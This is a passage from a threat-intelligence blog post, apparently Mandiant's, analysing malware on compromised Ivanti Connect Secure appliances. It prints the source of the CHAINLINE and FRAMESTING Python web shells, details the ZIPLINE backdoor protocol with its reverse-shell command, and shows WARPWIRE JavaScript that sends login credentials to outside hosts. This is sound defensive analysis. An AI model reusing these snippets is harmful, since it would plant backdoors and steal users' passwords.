Secure Python package that enables arbitrary command execution.\u003c/p\u003e\n\u003cp\u003eCHAINLINE was identified in the CAV Python package in the following path:\u00a0\u003ccode\u003e/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/health.py\u003c/code\u003e. This is the same Python package modified to support the WIREFIRE web shell.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003e#\r\n# Copyright (c) 2018 by Pulse Secure, LLC. All rights reserved\r\n#\r\nimport base64\r\n\r\nfrom flask_restful import Resource, reqparse\r\nfrom flask import request\r\nimport subprocess\r\n\r\nRC4_KEY \u003d \u0026quot;\u0026lt;REDACTED\u0026gt;\u0026quot;\r\n\r\n\r\ndef crypt(command: str):\r\n tmp \u003d list(command)\r\n for i in range(len(tmp)):\r\n tmp[i] \u003d chr(ord(tmp[i]) ^ ord(RC4_KEY[i % len(RC4_KEY)]))\r\n tmp \u003d \u0026quot;\u0026quot;.join(tmp)\r\n return tmp\r\n\r\n\r\nclass Health(Resource):\r\n def get(self):\r\n return {\u0026quot;message\u0026quot;: \u0026quot;method not allowed\u0026quot;}, 201\r\n\r\n def post(self):\r\n parser \u003d reqparse.RequestParser()\r\n parser.add_argument(\u0026#39;stats\u0026#39;, type\u003dstr)\r\n parser.add_argument(\u0026#39;rates\u0026#39;, type\u003dstr)\r\n args \u003d parser.parse_args()\r\n command: str \u003d args.stats\r\n command \u003d \r\ncrypt(base64.b64decode(command.encode(encoding\u003d\u0026quot;UTF-8\u0026quot;)).decode\r\n(encoding\u003d\u0026quot;UTF-8\u0026quot;))\r\n result \u003d subprocess.getoutput(command)\r\n result \u003d \r\nbase64.b64encode(crypt(result).encode(encoding\u003d\u0026quot;UTF-8\u0026quot;)).decode\r\n(encoding\u003d\u0026quot;UTF-8\u0026quot;)\r\n return {\u0026quot;message\u0026quot;: \u0026#39;ok\u0026#39;, \u0026quot;stats\u0026quot;: result}, 200\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 7: CHAINLINE web shell in health.py\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eUnlike WIREFIRE, which modifies an existing file, CHAINLINE creates a new file called\u00a0\u003ccode\u003ehealth.py\u003c/code\u003e, which is not a legitimate filename in the CAV Python package. The existence of this filename or an associated compiled Python cache file may indicate the presence of CHAINLINE.\u003c/p\u003e\n\u003cp\u003eUNC5221 registered a new API resource path to support the access of CHAINLINE at the REST endpoint\u00a0\u003ccode\u003e/api/v1/cav/client/health\u003c/code\u003e. This was accomplished by importing the maliciously created\u00a0\u003ccode\u003eHealth\u003c/code\u003e\u00a0API resource and then calling the\u00a0\u003ccode\u003eadd_resource()\u003c/code\u003e\u00a0class method on the FLASK-RESTful\u00a0\u003ccode\u003eApi\u003c/code\u003e\u00a0object within\u00a0\u003ccode\u003e/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/__init__.py\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eFigure 8 shows an excerpt of the relevant file modified to support CHAINLINE.\u003c/p\u003e"]]],[null,null,null,null,null,null,null,null,[[[null,"\u003cp\u003eFigure 8: Python CAV package modified to support CHAINLINE\u003c/p\u003e"],["https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig8.max-1400x1400.png","https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig8.max-1100x1100.png 1060w, https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig8.max-1400x1400.png 1360w"," 1060px, 1360px","https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig8.max-1400x1400.png"],null,3]]],[null,null,[null,[null,"\u003ch3\u003eFRAMESTING Web Shell\u003c/h3\u003e\n\u003cp\u003eMandiant has identified an additional web shell that we are tracking as\u00a0\u003cu\u003eFRAMESTING\u003c/u\u003e. FRAMESTING is a Python web shell embedded in a Ivanti Connect Secure Python package that enables arbitrary command execution.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cpre\u003e\u003ccode\u003edef post(self):\r\n import zlib\r\n import simplejson as json\r\n try:\r\n dskey\u003d\u0026#39;\u0026lt;REDACTED\u0026gt;\u0026#39;\r\n dsid\u003drequest.cookies.get(\u0026#39;DSID\u0026#39;)\r\n data\u003dNone\r\n if dsid and len(dsid)\u0026gt;\u003d64:\r\n data\u003ddsid+\u0026#39;\u003d\u003d\u0026#39;\r\n else:\r\n data \u003d zlib.decompress(request.data)\r\n data\u003djson.loads(data).get(\u0026#39;data\u0026#39;)\r\n if data:\r\n import base64\r\n from Cryptodome.Cipher import AES\r\n if dskey not in globals():globals()[dskey]\u003d{}\r\n globals()[dskey].pop(\u0026#39;result\u0026#39;,None)\r\n aes\u003dAES.new(dskey.encode(), AES.MODE_ECB)\r\n result\u003d{\u0026#39;message\u0026#39;:\u0026#39;\u0026#39;,\u0026#39;action\u0026#39;:0}\r\n exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),\r\n{\u0026#39;request\u0026#39;:request,\u0026#39;cache\u0026#39;:globals()[dskey]},locals())\r\n result\u003dglobals()[dskey].get(\u0026#39;result\u0026#39;,result)\r\n return result, 200\r\n except:\r\n pass\u003c/code\u003e\u003c/pre\u003e\n\u003cp style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 9:\u00a0category.py modified to handle POST requests for FRAMESTING\u003c/em\u003e\u003c/span\u003e\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cp\u003eFRAMESTING was identified in the CAV Python package in the following path:\u00a0\u003ccode\u003e/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/category.py\u003c/code\u003e. Note that this is the same Python package modified to support the WIREFIRE and CHAINLINE web shells.\u003c/p\u003e\n\u003cp\u003eWhen installed, the threat actor can access FRAMESTING web shell at the REST endpoint\u00a0\u003ccode\u003e/api/v1/cav/client/categories\u003c/code\u003e\u00a0with a POST request. Note that the legitimate\u00a0\u003ccode\u003ecategories\u003c/code\u003e\u00a0endpoint only accepts GET requests.\u003c/p\u003e\n\u003cp\u003eThe web shell employs two methods of accepting commands from an attacker. It first attempts to retrieve the command stored in the value of a cookie named\u00a0\u003ccode\u003eDSID\u003c/code\u003e\u00a0from the current HTTP request. If the cookie is not present or is not of the expected length, it will attempt to decompress\u00a0\u003ccode\u003ezlib\u003c/code\u003e\u00a0data within the request's POST data. Lastly, FRAMESTING will then pass the decrypted POST data into a Python\u00a0\u003ccode\u003eexec()\u003c/code\u003e\u00a0statement to dynamically execute additional Python code.\u003c/p\u003e\n\u003cp\u003eNote that\u00a0\u003ccode\u003eDSID\u003c/code\u003e\u00a0is also the name of a cookie used by Ivanti Connect Secure appliances for maintaining user VPN sessions. FRAMESTING likely uses the same cookie name to blend in with network traffic.\u003c/p\u003e\n\u003ch3\u003eUpdates to ZIPLINE Analysis\u003c/h3\u003e\n\u003cp\u003eSince our previous blog post, Mandiant has completed additional analysis into the\u00a0\u003cu\u003eZIPLINE\u003c/u\u003e\u00a0passive backdoor. ZIPLINE makes use of extensive functionality to ensure the authentication of its custom protocol used to establish command and control (C2). This section covers the cryptographic, authentication, and data protocol leveraged by ZIPLINE.\u003c/p\u003e\n\u003ch4\u003eCryptography\u003c/h4\u003e\n\u003cp\u003eZIPLINE uses AES-128-CBC to encrypt data in both directions. The corresponding encryption and decryption keys are derived from key material sent by the server and combined with hard-coded data embedded in the malware. Once combined, the SHA1 hashing algorithm is used to produce a 20-byte long cryptographically strong array and the first 16 bytes of it are used as the AES-128 keys.\u003c/p\u003e\n\u003cp\u003eThe key material, received by the attacker is defined, as follows:\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003etypedef struct tag_key_material_t {\r\n uint8_t decryption_keydata[20];\r\n uint8_t encryption_keydata[20];\r\n} key_material_t;\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 10: Key material structure\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe relevant 20-byte long keydata material is then combined with the hard-coded string, and the SHA1 hash is calculated on the buffer.\u00a0\u003c/p\u003e\n\u003cp\u003eThe truncated first 16 bytes of the SHA1 hash are then used for both the AES-128 and the HMAC keys (HMAC is described in more details in the next section).\u003c/p\u003e\n\u003cp\u003eThe starting value for the AES initialization vectors (IVs) for the decryption and encryption operations are the first 16 bytes of the\u00a0\u003ccode\u003edecryption_keydata\u003c/code\u003e\u00a0and\u00a0\u003ccode\u003eencryption_keydata\u003c/code\u003e\u00a0arrays.\u00a0\u003c/p\u003e\n\u003cp\u003eOnce produced, both the decryption and the encryption round keys (11 round keys each, including the original AES-128 keys at indices zero) and the current IV for the AES-128 algorithm stay in memory for the lifecycle of the process. This makes it possible to harvest the keys and the IVs possible from process memory. Because the protocol used by ZIPLINE is stateful, the messages cannot be decrypted and authenticated out of order. Additionally, the process that contains the passive backdoor is designed to have a relatively short lifespan, terminating after each of the processed commands and likely respawned by the malware ecosystem running on the compromised host.\u003c/p\u003e\n\u003ch4\u003eAuthentication\u003c/h4\u003e\n\u003cp\u003eZIPLINE uses HMAC (Hash-based Message Authentication Code) along with the SHA1 hashing algorithm to enforce data integrity. The HMAC key is the same as the corresponding AES-128 key (note, there are two: one for decryption and one for encryption). The HMAC design in ZIPLINE uses a transfer state, which denotes the index of the current message starting from 0. Every received or sent packet increments the index and the value is appended to the message as part of the authentication mechanism. That way messages out of order would not be able to authenticate, which would lead to termination of the communication with the C2 server.\u003c/p\u003e\n\u003cp\u003eFigure 11 shows an example of a message, which is color-coded to show the parts that participate in the HMAC calculations.\u003c/p\u003e"]]],[null,null,null,null,null,null,null,null,[[[null,"\u003cp\u003eFigure 11: Example message\u003c/p\u003e"],["https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig11.max-800x800.png",null,null,"https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig11.max-800x800.png"],null,3]]],[null,null,[null,[null,"\u003cp\u003eIn Figure 11, a 32-byte long message is received from the C2 server. ZIPLINE then decrypts the first 16 bytes (blue), appends the still encrypted second part (red) of the message, and adds four bytes at the end (black), followed by the message index, which in this case is set to one. The HMAC algorithm then calculates the SHA1 hash of the buffer in Figure 11, and then compares it with the SHA1 hash attached at the end of every message sent and received.\u003c/p\u003e\n\u003ch4\u003eData Protocol\u003c/h4\u003e\n\u003cp\u003eZIPLINE communicates with its C2 server using a custom stateful binary protocol. The communication begins with the C2 server connecting to the compromised host and sending a message, structured as shown in Figure 12.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003etypedef struct tag_header_t {\r\n char signature[21];\r\n struct tag_key_material key_material;\r\n} header_t;\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 12: ZIPLINE header structure\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe signature is expected to be the string\u00a0\u003ccode\u003eSSH-2.0-OpenSSH_0.3xx\u003c/code\u003e, followed by a structure that contains data for AES-128 and HMAC key generation (see the Cryptography). Next, the C2 sends an encrypted message that, once decrypted, follows the structure described in Figure 13.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003etypedef struct tag_message_t {\r\n uint16_t len; /* big endian number */\r\n uint8_t data[len]; /* variable size data */\r\n uint8_t hmac_sig[20];\r\n} message_t;\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 13: ZIPLINE message structure\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eAlthough the message structure is designed to be flexible, this instance of the malware expects the first message to specify length 0x10. Additionally, the data after the decryption must be exactly as shown in Figure 14 or the malware terminates the connection.\u003c/p\u003e"]]],[null,null,null,null,null,null,null,null,[[[null,"\u003cp\u003eFigure 14: Decrypted message structure\u003c/p\u003e"],["https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig14.max-700x700.png",null,null,"https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig14.max-700x700.png"],null,3]]],[null,null,[null,[null,"\u003cp\u003eIn the decrypted message in Figure 14, the size (note, it\u2019s a big endian number) is denoted by the first two bytes (blue), followed by an array of 16 bytes (red) that must contain exactly the values shown. In case of a mismatch, ZIPLINE will terminate the connection, which would also lead to process termination. The\u00a0\u003ccode\u003exx\u003c/code\u003e\u00a0bytes shown in black are non-consequential padding values and the\u00a0\u003ccode\u003eyy\u003c/code\u003e\u00a0values (amber) specify the HMAC signature for the message.\u003c/p\u003e\n\u003cp\u003eIf the first message passes the integrity checks, the malware first encrypts the buffer in Figure 14, and then sends it back to the C2 server. After that, it fetches another message, which is expected to have\u00a0\u003ccode\u003emessage_t.len\u003c/code\u003e\u00a0equal to one. That message contains a single meaningful byte (apart from the padding and the HMAC signature) which is the index of the command to be executed.\u003cbr\u003e\u003cbr\u003e\u003c/p\u003e\n\u003cdiv align\u003d\"left\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\u003ctable border\u003d\"1px\" cellpadding\u003d\"16px\" style\u003d\"border-collapse:collapse\"\u003e\u003ccolgroup\u003e\u003ccol\u003e\u003ccol\u003e\u003ccol\u003e\u003c/colgroup\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eCommand ID\u003c/strong\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eOperation\u003c/strong\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eDescription\u003c/strong\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eFile Upload\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eThe command contains the file path and which content to be sent to the connected host.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e2\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eFile Download\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eThe command contains the file path and its content to be saved on the compromised system.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e3\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eReverse Shell\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA reverse shell is created using \u003c/span\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e/bin/sh\u003c/code\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e and the provided command is executed\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eProxy Server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eCreates a proxy server with an IP address provided as part of the command.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e5\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eTunneling Server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eImplements a tunneling server, capable of simultaneously dispatching traffic between multiple endpoints.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003cp style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eTable 1: ZIPLINE command ID\u003c/span\u003e\u003c/em\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003eThe message must be formatted in the same way as the previous one with only the first 3 bytes being meaningful (the length and the command).\u003c/p\u003e\n\u003ch4\u003eAdditional Findings\u003c/h4\u003e\n\u003cp\u003eZIPLINE is designed to fork itself twice and continue on its child processes. It also uses the\u00a0\u003ccode\u003esetsid\u003c/code\u003e\u00a0command to create a new session for its process, which effectively detaches it from any controlling terminal. Additionally, the malware closes the open handles except for the one associated with the current connection. The\u00a0\u003ccode\u003eweb\u003c/code\u003e\u00a0process must be able to handle the\u00a0\u003ccode\u003eSIGALRM\u003c/code\u003e\u00a0signal because the malware executes the\u00a0\u003ccode\u003ealarm\u003c/code\u003e\u00a0command on a couple of occasions (delayed by three seconds). Additionally, the\u00a0\u003ccode\u003eweb\u003c/code\u003e\u00a0process terminates itself after executing the specified command, which implies that it would be respawned by the ZIPLINE malware ecosystem on the compromised host in order to keep listening for incoming traffic.\u003c/p\u003e\n\u003ch3\u003eWARPWIRE Variants\u003c/h3\u003e\n\u003cp\u003eMandiant has identified multiple new variants of\u00a0\u003cu\u003eWARPWIRE\u003c/u\u003e\u00a0across our response engagements and in the wild. Across these variants, the primary purpose of them has remained to target plaintext passwords and usernames for exfiltration to a hard-coded C2 server.\u003c/p\u003e\n\u003cp\u003eThe main change across these variants is how credentials are submitted to the hard-coded C2. In the majority of identified variants, the GET request has been replaced with a POST that submits the credentials in either the POST params or body, however, Mandiant has also identified variants that still utilize a GET request but now include the\u00a0\u003ccode\u003ewindow.location.href\u003c/code\u003e\u00a0as a submitted value.\u00a0\u003c/p\u003e\n\u003cp\u003eBased on the number of variants identified as well as suspected mass exploitation of the related vulnerabilities, Mandiant does not currently attribute all WARPWIRE variants to UNC5221. Figure 15-18 shows excerpts of select WARPWIRE samples.\u003c/p\u003e\n\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003evar ivanti \u003d document.frmLogin.username.value;\r\nvar login \u003d document.frmLogin.password.value;\r\nvar action \u003d window.location.href;\r\nif (ivanti!\u003d\u003d\u0026quot;\u0026quot; \u0026amp;\u0026amp; login!\u003d\u003d\u0026quot;\u0026quot;) {\r\n var ivanti \u003d btoa(ivanti);\r\n var login \u003d btoa(login);\r\n var action \u003d btoa(action);\r\n const url \u003d \u0026quot;https://duorhytm[.]fun/\u0026quot;;\r\n var xhr \u003d new XMLHttpRequest();\r\n xhr.open(\u0026quot;POST\u0026quot;, url, false);\r\n xhr.setRequestHeader(\u0026quot;Content-Type\u0026quot;, \u0026quot;application/x-www-form-urlencoded\u0026quot;);\r\n var params \u003d\u0026quot;ivanti\u003d\u0026quot;+ivanti +\u0026quot;\u0026amp;login\u003d\u0026quot;+ login+\u0026quot;\u0026amp;action\u003d\u0026quot;+action;\r\n xhr.send(params);\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 15: WARPWIRE variant\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003evar a \u003d document.frmLogin.username.value;\r\nvar b \u003d document.frmLogin.password.value;\r\nvar c \u003d window.location.href;\r\n\r\nif (a !\u003d\u003d \u0026quot;\u0026quot; \u0026amp;\u0026amp; b !\u003d\u003d \u0026quot;\u0026quot;) {\r\n\r\nvar aEncoded \u003d btoa(a);\r\n var bEncoded \u003d btoa(b);\r\n var cEncoded \u003d btoa(c);\r\n const url \u003d \u0026quot;https://clicko[.]click/?a\u003d\u0026quot; + aEncoded + \u0026quot;\u0026amp;b\u003d\u0026quot; + bEncoded \r\n+ \u0026quot;\u0026amp;c\u003d\u0026quot; + cEncoded;\r\n var xhr \u003d new XMLHttpRequest();\r\n xhr.open(\u0026quot;GET\u0026quot;, url, false);\r\n xhr.send(null);\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 16: WARPWIRE variant\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003e var uParam \u003d document.frmLogin.username.value;\r\n var pParam \u003d document.frmLogin.password.value;\r\n if (uParam \u0026amp;\u0026amp; pParam) {\r\n var xhr \u003d new XMLHttpRequest();\r\n const url \u003d `https://www.miltonhouse[.]nl/pub/opt/processor.php`\r\n const body \u003d 